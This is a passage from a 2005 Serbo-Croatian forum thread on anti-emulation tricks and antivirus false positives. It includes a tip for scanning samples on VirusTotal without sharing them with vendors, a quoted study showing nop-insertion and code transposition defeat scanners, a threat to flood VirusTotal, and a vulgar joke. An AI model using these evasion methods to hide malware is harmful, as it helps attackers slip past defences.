Ma jok. Stavit ću da svaki dan 10000 takvih FP šalje na virustotal. Pa neka AV "stručnjaci" umru dok ne nađu bugove u svojim patetičnim heuristikama. Lako je ubaciti binary u program koji će nakon 10 sati rada ispljunuti sigurnu definiciju, ali brate, popravi ti bug u programu tako da i dalje ne generira FP! Malo teško....we'll see :)

Malo anti-Symantec propagande, pošto je zauzeo zadnje mjesto i još uvijek lažira svoje rezultate:

http://www.nod32.com/news/cnet_zdnet.htm
http://www.nod32.com/news/joe_wells.htm

Citat:

In his CNet / ZDNet review, Ken Feinstein, a part-time amateur antivirus tester with no credentials whatsoever in the antivirus industry, used a handful of Rosenthal Utilities simulated viruses to rate NOD32 much lower in virus detection than Virus Bulletin (or any other competent antivirus software reviewer) has ever rated it !!!

Ken Feinstein makes a "big deal" of the fact that NOD32 misssed his pretend viruses!

Of course NOD32 missed them !!!

NOD32 was designed to miss them !!!

Simulated viruses have been ridiculed by the antivirus industry for years!

It's either a virus or it's not --- and if it's not a virus then no decent antivirus program will detect it as a virus!

One would think CNet / ZDNet would have learned from their past mistakes, but it seems they still think their amateur reviewers know more about antivirus product testing than antivirus professionals.

Joe Wells, Founder and Director of the WildList Organization, wrote a scathing commentary about Gregg Keizer's September 2000 CNet antivirus program review in an open letter to CNet, in which he said :

-> If a product does not report a simulated virus as being infected, it's right. And if a program does report a simulated virus as being infected, it's wrong. Thus, using simulated viruses in a product review inverts the test results. It grossly misrepresents the truth of the matter because :
-> It rewards the product that incorrectly reports a non-virus as infected.
-> It penalizes a product that correctly recognizes the non-virus as not infected.

Norton AntiVirus --- CNet's long-time "Editor's Choice" --- does detect Rosenthal's non-virus files as infected!

NOD32 --- rated as "Poor" in detection by CNet --- doesn't detect Rosenthal's non-virus files as viruses!

....(pročitajte do kraja, ima još toga zanimljivoga :)



Ljudi, nemojte nasjedati Norton propagandi, ne budite Amerikanci da mediji manipuliraju Vašim životima. Imate ovdje crno na bijelom, sve što sam ovdje napisao će potvrditi svaki ozbiljniji (anti)virusni stručnjak.

Slobodno pokažite ovaj članak vašim obližnjim AV distributerima :>

AV odabirite prema vlastitoj procjeni, a ne kako vam trgovci kažu.
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: anti-emu tips'n'tricks12.02.2005. u 07:39 - pre 233 meseci
Sa http://www.virustotal.com/flash/index_en.html

Citat:
Put only SCAN in the subject field, SCAN- if you don't want to distribute the sample to AV companies.


Damn.....zašto ovo nisam prije vidio :)
 
Odgovor na temu

Xpirit
Dejan Nikolic
Beograd

Član broj: 8504
Poruke: 159
*.mediaworksit.net.

ICQ: 3434902
Sajt: www.f-secure.co.yu


Profil

icon Re: anti-emu tips'n'tricks12.02.2005. u 09:24 - pre 233 meseci
Mogu ovo da prevedem i posaljem u F-Secure? I da li bi vise hteo da probas i F-Secure posto ga viruslist nema?
Now you're runnin', a?
 
Odgovor na temu

Mikky

Član broj: 18
Poruke: 1563
*.vdial.verat.net.

ICQ: 44582291


+58 Profil

icon Re: anti-emu tips'n'tricks12.02.2005. u 14:42 - pre 233 meseci
Hehe legendarno.
Prevedi i posalji ovo za sledeci a29 issue.
-I know UNIX, PASCAL, C, FORTRAN,
COBOL, and nineteen other high-tech
words.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.86.*



+1 Profil

icon Re: anti-emu tips'n'tricks12.02.2005. u 19:59 - pre 233 meseci
Fenomenalno bratac, fenomenalno =) Joj kako bi da se najabem keve onom kasperskom, ili bi mu zenu dovatio ipak =) Ruskinja, a cujem da se ruskinje satiru od k**** =))) hahaha =)

p.s. ne znam koji mi vrag, ali sam izgleda prso u poslednje vreme =)

 
Odgovor na temu

BaCkSpAcE

Član broj: 10
Poruke: 518
*.blueisp.co.yu.



Profil

icon Re: anti-emu tips'n'tricks13.02.2005. u 01:22 - pre 233 meseci
Sve mi je jasno, ali odakle vam toliki AV skeneri... ne bih bas mogao svaki da instaliram na komp pa da isprobavam...
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: anti-emu tips'n'tricks05.03.2005. u 17:15 - pre 232 meseci
Evo malo sa nezavisne studije [1] :

Citat:
For example, in some cases the Norton antivirus scanner could not even detect insertions of nop instructions.


Citat:
We tested three commercial virus scanners using obfuscated versions of the four viruses described earlier. The results were quite surprising: a combination of nop-insertion and code transposition was enough to create obfuscated versions of the viruses that the commercial virus scanners could not detect. Moreover, the Norton antivirus software could not detect an obfuscated version of the Chernobyl virus using just nop-insertions.


Papir je inače fenomenalan, preporučam zainteresiranima da ga pročitaju do kraja.

Jedina zamjerka što nisu testirali sa AV koji imaju prave heuristike (f-prot, NOD32..), a ne ova Norton i McAfee govanca...



[1] http://www.cs.wisc.edu/wisa/papers/safeTR1467/cj03.html
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
195.252.85.*



+1 Profil

icon Re: anti-emu tips'n'tricks05.03.2005. u 21:21 - pre 232 meseci
Haha fino :))
 
Odgovor na temu

[es] :: Asembler :: anti-emu tips'n'tricks

Strane: 1 2

[ Pregleda: 11893 | Odgovora: 31 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.